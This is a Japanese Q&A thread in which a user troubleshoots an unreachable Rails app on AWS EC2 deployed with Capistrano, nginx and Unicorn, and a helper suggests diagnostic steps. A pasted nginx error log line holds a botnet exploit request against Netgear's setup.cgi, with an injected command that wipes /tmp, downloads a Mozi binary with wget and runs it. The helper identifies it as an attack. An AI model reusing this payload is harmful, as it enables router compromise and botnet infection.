質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
85.48%
unicorn

Unicornは、汎用のRackアプリケーションサーバ。RackとWebサーバーの機能を併せ持ちます。レスポンス処理や、Nginx単体がRackの機能をサポートしていない事から、一般的にはNginx+Unicorn+Railsの構成を取って用います。

nginx

nginixは軽量で高性能なwebサーバーの1つです。BSD-likeライセンスのもとリリースされており、あわせてHTTPサーバ、リバースプロキシ、メールプロキシの機能も備えています。MacOSX、Windows、Linux、上で動作します。

Ruby on Rails

Ruby on Railsは、オープンソースのWebアプリケーションフレームワークです。「同じことを繰り返さない」というRailsの基本理念のもと、他のフレームワークより少ないコードで簡単に開発できるよう設計されています。

AWS(Amazon Web Services)

Amazon Web Services (AWS)は、仮想空間を機軸とした、クラスター状のコンピュータ・ネットワーク・データベース・ストーレッジ・サポートツールをAWSというインフラから提供する商用サービスです。

Capistrano

Rubyで書かれたサーバオーケストレーションで、複数のサーバでスクリプトを実行する際に用いられます。主な使用用途はWebアプリケーションのデプロイメントです。 アプリケーションのバージョンアップ自動化、およびデータベースの変更などもできます。

Q&A

1回答

2883閲覧

AWS このサイトにアクセスできませんと表示される時の解決策をご教授願います

sinzanmono46

総合スコア6

unicorn

Unicornは、汎用のRackアプリケーションサーバ。RackとWebサーバーの機能を併せ持ちます。レスポンス処理や、Nginx単体がRackの機能をサポートしていない事から、一般的にはNginx+Unicorn+Railsの構成を取って用います。

nginx

nginixは軽量で高性能なwebサーバーの1つです。BSD-likeライセンスのもとリリースされており、あわせてHTTPサーバ、リバースプロキシ、メールプロキシの機能も備えています。MacOSX、Windows、Linux、上で動作します。

Ruby on Rails

Ruby on Railsは、オープンソースのWebアプリケーションフレームワークです。「同じことを繰り返さない」というRailsの基本理念のもと、他のフレームワークより少ないコードで簡単に開発できるよう設計されています。

AWS(Amazon Web Services)

Amazon Web Services (AWS)は、仮想空間を機軸とした、クラスター状のコンピュータ・ネットワーク・データベース・ストーレッジ・サポートツールをAWSというインフラから提供する商用サービスです。

Capistrano

Rubyで書かれたサーバオーケストレーションで、複数のサーバでスクリプトを実行する際に用いられます。主な使用用途はWebアプリケーションのデプロイメントです。 アプリケーションのバージョンアップ自動化、およびデータベースの変更などもできます。

0グッド

1クリップ

投稿2019/12/31 07:08

編集2020/01/02 01:10

##現状
railsとAWSを使ってデプロイ作業をしております。
capistranoで実行し、エラーはなく完了しますが、ブラウザに
このサイトにアクセスできません。
応答時間が長すぎます。

と表示されます。

##試したこと/確認したこと
・ps aux | grep nginxで、nginxが起動していることは確認済み
・EC2インスタンスの再起動(nginx,mysqldの再起動もその後行ってます)
・sudo vim /etc/nginx/conf.d/rails.confでserver_nameのアドレスの確認(nginx)
・unicorn.rbのtimeoutを延長
・ポートの確認(AWSセキュリティーグループ)
タイプ プロトコル ポート範囲 ソース
HTTP TCP    80   0.0.0.0/0
HTTP TCP    80   ::/0
SSH  TCP    22   0.0.0.0/0
TCPルール TCP  3000  0.0.0.0/0

##開発環境
rails 6.0.1
ruby 2.5.1
capistrano
nginx(Webサーバー)
unicorn(アプリケーションサーバー)
AWS
##仮説
IPアドレスに問題があるかと思いましたが、AWSのインスタンスを見ると
CPU使用率が動いているため、問題なく起動はできていると考えています。
capistranoも問題なく実行完了するので、nginxに原因があると考えていますが、
server_nameの後に記述するIPアドレスに問題はありませんでした。
恐れ入りますが、是非ご教授の程、宜しくお願い申し上げます。

##追記事項
nginxのログでは以下のエラー文が出ておりました。
/var/log/nginx/error.log
2019/12/31 07:36:25 [error] 2790#0: 5 open() "/usr/share/nginx/html/setup.cgi" failed (2: No such file or directory), client: 223.149.4.237, server: localhost, request: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0"

unicornのアクセスを確認したところ、無事届いており、エラーもございませんでした。
##unicorn.stderr.log
I, [2020-01-01T09:49:56.012620 #4384] INFO -- : reaped #<Process::Status: pid 4475 exit 0> worker=0
I, [2020-01-01T09:49:56.012756 #4384] INFO -- : master complete
I, [2020-01-01T09:51:29.081910 #9591] INFO -- : Refreshing Gem list
I, [2020-01-01T09:51:31.224148 #9591] INFO -- : unlinking existing socket=/var/www/datingapp/shared/tmp/sockets/unicorn.sock
I, [2020-01-01T09:51:31.224805 #9591] INFO -- : listening on addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
I, [2020-01-01T09:51:31.230850 #9591] INFO -- : master process ready
I, [2020-01-01T09:51:31.238254 #9595] INFO -- : worker=0 ready
I, [2020-01-01T09:51:31.633474 #9629] INFO -- : executing ["/var/www/datingapp/shared/bundle/ruby/2.5.0/bin/unicorn", "-c", "/var/www/datingapp/current/config/unicorn.rb", "-E", "deployment", "-D", {11=>#Kgio::UNIXServer:/var/www/datingapp/shared/tmp/sockets/unicorn.sock}] (in /var/www/datingapp/releases/20200101095032)
I, [2020-01-01T09:51:31.633564 #9629] INFO -- : forked child re-executing...
I, [2020-01-01T09:51:31.891319 #9629] INFO -- : inherited addr=/var/www/datingapp/shared/tmp/sockets/unicorn.sock fd=11
I, [2020-01-01T09:51:31.891578 #9629] INFO -- : Refreshing Gem list
I, [2020-01-01T09:51:34.148980 #9629] INFO -- : master process ready
I, [2020-01-01T09:51:34.153002 #9720] INFO -- : worker=0 ready
I, [2020-01-01T09:51:34.241907 #9591] INFO -- : reaped #<Process::Status: pid 9595 exit 0> worker=0
I, [2020-01-01T09:51:34.242007 #9591] INFO -- : master complete

##/etc/nginx/conf.d/rails.conf

upstream app_server { server unix:/var/www/datingapp/shared/tmp/sockets/unicorn.sock; } server { listen 80; server_name 18.176.69.6; root /var/www/datingapp/current/public; location ^~ /assets/ { gzip_static on; expires max; add_header Cache-Control public; root /var/www/datingapp/current/public; } try_files $uri/index.html $uri @unicorn; location @unicorn { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; proxy_pass http://app_server; } error_page 500 502 503 504 /500.html; }

##sudo nginx -t 実行結果
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

##/etc/nginx/nginx.conf

user nginx; worker_processes auto; error_log /var/log/nginx/error.log; pid /var/run/nginx.pid; include /usr/share/nginx/modules/*.conf; events { worker_connections 1024; } http { log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; include /etc/nginx/mime.types; default_type application/octet-stream; include /etc/nginx/conf.d/*.conf; index index.html index.htm; server { listen 80 default_server; listen [::]:80 default_server; server_name localhost; root /usr/share/nginx/html; include /etc/nginx/default.d/*.conf; location / { }

##config/puma.rb

max_threads_count = ENV.fetch("RAILS_MAX_THREADS") { 5 } min_threads_count = ENV.fetch("RAILS_MIN_THREADS") { max_threads_count } threads min_threads_count, max_threads_count port ENV.fetch("PORT") { 3000 } environment ENV.fetch("RAILS_ENV") { "development" } pidfile ENV.fetch("PIDFILE") { "tmp/pids/server.pid" } plugin :tmp_restart

##config.unicorn.rb

app_path = File.expand_path('../../../', __FILE__) worker_processes 1 working_directory "#{app_path}/current" pid "#{app_path}/shared/tmp/pids/unicorn.pid" #listen 3000 listen "#{app_path}/shared/tmp/sockets/unicorn.sock" stderr_path "#{app_path}/shared/log/unicorn.stderr.log" stdout_path "#{app_path}/shared/log/unicorn.stdout.log" timeout 120 preload_app true GC.respond_to?(:copy_on_write_friendly=) && GC.copy_on_write_friendly = true check_client_connection false run_once = true before_fork do |server, worker| defined?(ActiveRecord::Base) && ActiveRecord::Base.connection.disconnect! if run_once run_once = false # prevent from firing again end old_pid = "#{server.config[:pid]}.oldbin" if File.exist?(old_pid) && server.pid != old_pid begin sig = (worker.nr + 1) >= server.worker_processes ? :QUIT : :TTOU Process.kill(sig, File.read(old_pid).to_i) rescue Errno::ENOENT, Errno::ESRCH => e logger.error e end end end after_fork do |_server, _worker| defined?(ActiveRecord::Base) && ActiveRecord::Base.establish_connection end

##gem list mysql 実行結果
mysql2 (0.5.2)

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

rubytomato

2019/12/31 07:43

何点かご確認頂き、その結果を質問内容に追記ください。 1) nginxのログの調査(アクセスが届いているか、エラーが起きていないか)。 2) rails/unicornのログの調査、(アクセスが届いているか、エラーが起きていないか)。 3) EC2内から直接curl等のコマンドでrailsのアプリケーションへアクセスし想定するレスポンスがあるか。 4) nginxへアクセスが届いていない場合、AWSの構成について(ELBの有無、EC2インスタンスの数とサブネットの配置、IGW、EC2へアクセスが許可されているか(セキュリティグループ、ACL、若しくはEC2にパブリックIPが付与されているか))。 5) rails/unicornへアクセスが届いていない場合、nginxの設定ファイルの内容。
sinzanmono46

2019/12/31 10:10

たくさんの確認事項を教えてくださりありがとうございます! nginxのログを確認したところ、追記事項に記述したエラー文が見つかりました。 たしかに、/usr/share/nginx/html/setup.cgiのsetup.cgiファイルはなかったのですが、 これを作成するだけで解決するものでもないとは思うのですが、どういった意味合いがあるのでしょうか? 恐れ入りますが、ご教授頂けると大変助かります。
rubytomato

2019/12/31 14:41

調べてみたところ、そのアクセスは脆弱性を狙った攻撃のようです。 詳しくは下記のサイトで確認できますのでご覧ください。 MiraiとGafgytの新たなIoT/Linuxボットネット攻撃キャンペーン https://www.paloaltonetworks.jp/company/in-the-news/2018/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns なので、そのnginxのエラーログは本件とは関係ないと思います。 念を押すようで申し訳ありませんが原因切り分けのため、下記の点についてご確認ください。 1) nginxのアクセスログをtail -fで監視しつつ、nginxが稼働しているEC2内からcurlコマンドでアクセスし期待するレスポンスが得られるかどうか 2) 同様にブラウザからアクセス(この場合はレスポンスがえられないと思いますが)し、nginxのログにアクセスが記録されるかどうか 3) 2)でアクセスログが出力されるのに、ブラウザでページが表示できない場合はnginx~ブラウザ間のどこかに問題があると思いますのでAWSの構成(ELB、EC2、セキュリティグループ、ACLなど)の情報が必要です。
sinzanmono46

2020/01/01 04:46 編集

ソースのご提示、誠にありがとうございます。 エラーログが表示される時とされない時があるため、おっしゃるように関係ないと思います。 追加の確認事項ありがとうございます! curl -I https://18.176.69.6/(IPアドレス)コマンドを入力すると、 curl: (7) Failed to connect to 18.176.69.6 port 443: Connection timed out というログを吐きます。 nginxとIPアドレスの結びつきに問題があるのでしょうか? /etc/nginx/conf.d/rails.conf の中身を投稿に追記致しましたのでご確認頂けると大変助かります。
rubytomato

2020/01/01 08:15

セキュリティグループでポート3000が許可されているのはrailsアプリケーションに直接アクセスするためでしょうか > unicornのアクセスを確認したところ、無事届いており、エラーもございませんでした。 この確認が出来たというのはブラウザでポート3000を指定すればアクセスできたということですか?
sinzanmono46

2020/01/01 08:49

>セキュリティグループでポート3000が許可されているのはrailsアプリケーションに直接アクセスするためでしょうか そうです! はじめはcapistrano無しでunicornのみで行っていましたが、その時もIPアドレス:3000 でもブラウザにはアクセスできませんでした。 >この確認が出来たというのはブラウザでポート3000を指定すればアクセスできたということですか? いえ、EC2内でless unicorn.stderr.logコマンドでログを確認したつもりでいたのですが、違いますでしょうか?
rubytomato

2020/01/01 09:07

> unicornのアクセスを確認したところ、無事届いており、エラーもございませんでした。 この"無事届いており"というのは具体的にどのような意味ですか?もう少し詳しく説明をお願いします 私はnginxを通さずに直接アクセスしたら"リクエストが届いた"且つ"期待するレスポンスが得られた"と解釈したのですが、この認識は違うということでしょうか?
sinzanmono46

2020/01/01 10:02

無事に届いておりと言っていたのは単純にunicornのログを確認できるかどうかという意味でした、、、 安直な認識で申し訳ございません。 追記に確認したログの記載しております。 只今、nginxを停止状態でunicornを起動させたところ、ブラウザに期待するレスポンスは得られませんでした。 nginxを停止状態でも、同様にIPアドレスにアクセスできないということは、AWSの設定が間違っているということになりますでしょうか?
rubytomato

2020/01/01 23:27

状況がだんだん掴めてきたので、もう少し情報の提供をお願いいたします。 ■Nginxについて 1) /etc/nginx/nginx.conf の内容 2) /etc/nginx/conf.d/rails.conf の内容 (質問内容と変わっていれば) 3) nginx -t の実行結果 (permissionのエラーが出る場合は、sudo nginx -t) ■Pumaについて 4) config/puma.rb の内容 ■Unicornについて 5) config/unicorn.rb の内容 ■sqlite3について 6) gem list sqlite3 の実行結果
sinzanmono46

2020/01/02 01:08

毎度丁寧にありがとうございます。 追記事項を更新致しました。 sqliteに関してですが、mysqlを使用しておりますので、mysqlでの実行結果を記載しております。
rubytomato

2020/01/02 01:16

nginxは停止した状態で、rails server -b 0.0.0.0 でアプリケーションを起動してください。 起動したら、ブラウザで http://<public IP>:3000 でアクセスできるかご確認ください。 public IPはインスタンスを再起動すると変わるので、念のため現在のIPを確認してください。 > sqliteに関してですが、mysqlを使用しておりますので、mysqlでの実行結果を記載しております。 こちらの件ですが、インストールされているかどうかと、インストールされていればそのバージョンが知りたいので、お手数ですが実行結果をお知らせください。
sinzanmono46

2020/01/02 01:37

>nginxは停止した状態で、rails server -b 0.0.0.0 でアプリケーションを起動してください。 起動したら、ブラウザで http://<public IP>:3000 でアクセスできるかご確認ください このサイトにアクセスできません。18.176.69.6 で接続が拒否されました。 というレスポンスを受けます。 sqliteはインストールしておりません!
rubytomato

2020/01/02 01:55

これで接続できないということはAWSの設定に問題があるのかもしれません。 nginxをインストールしたときに、nginxのwelcomeページ (http://<public IP>)にアクセスは出来たのでしょうか?( このようなページ https://teratail.com/questions/52240 です。) それとEC2のマシンイメージについても教えてください。イメージはAmazon Linux2でしょうか?
sinzanmono46

2020/01/02 02:14

インストール時に確認する工程は飛ばしました、、 これからは細かく確認することを肝に命じます、、 404のnot foundエラーは表示されていましたが、pcを再起動すると、現状のブラウザレスポンスに変わっていました。(正しいレスポンスをブラウザで受けとったことはありません) いえ、イメージは2ではなく、Amazon Linuxです。
rubytomato

2020/01/02 02:20

セキュリティグループが適用されているのか確認したいので、お手数でなければ /etc/nginx/conf.d/rails.conf の拡張子を変えて読み込まれないようにし、 /etc/nginx/nginx.conf をデフォルト(インストール直後の状態)に戻して頂いて、 nginxを起動、http://<public IP> でアクセスしてwelcomeページが表示されるか確認して頂けますか? また、iptablesで何か設定しているということはないでしょうか?
sinzanmono46

2020/01/02 06:01

同様のレスポンスしか得られませんでした。 設定していません!
rubytomato

2020/01/02 12:25

nginxのwelcomeページが表示できないことには先に進めないので、まずはそれを解決することを優先した方がいいと思います。 ただ、ローカルPCからsshでログインできるのであれば、同じセキュリティグループのhttp(80)やtcp(3000)も有効だろうと思います。(なので、そこがとても不思議です) nginxが正常なレスポンスを返すことを確認するために、nginxを起動したらnginxと同じec2インスタンスからcurl -v http://localhost で正常なレスポンスが返るか確認してみてください。 正常なレスポンスが返らない場合は、nginxが起動しているか、nginxのドキュメントルートにindex.htmlが存在するかを確認してください。 curlで正常なレスポンスを確認できたら、ローカルPCからアクセスしてみてください。 ブラウザでのアクセスについては、たまにエラーページがキャッシュされて、サーバ側は正常なのにエラーページを表示し続けるといったこともあるようなので注意が必要です。 chromeの場合はキャッシュのクリア方法がいくつかあるようなので調べてみてください。 nginxのwelcomeページが表示されれば、残りの問題はすぐに解決できるように思います。が、表示できない場合は、nginxのwelcomeページが表示できない等の内容で新しく質問を立てた方が解決が早いかもしれません。 その場合はどのようにVPC、EC2インスタンスを作成し、nginxをインストールしたか説明できると回答が付きやすいと思います。 それと下記にAWSのトラブルシューティングのページのリンクを記載しておきますのでお時間があればご一読ください。 インスタンスへの接続エラー: 接続タイムアウト https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/TroubleshootingInstancesConnecting.html#TroubleshootingInstancesConnectionTimeout
guest

回答1

0

セキュリティポリシーで、80番が外部からアクセス可能になるよう設定してありますか?

投稿2019/12/31 07:36

winterboum

総合スコア23329

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

sinzanmono46

2019/12/31 10:13

ソースに記述する、0.0.0.0/0や、::/0が全てを許可するという認識だったのですが、違うのでしょうか?
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

まだベストアンサーが選ばれていません

会員登録して回答してみよう

アカウントをお持ちの方は

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.48%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問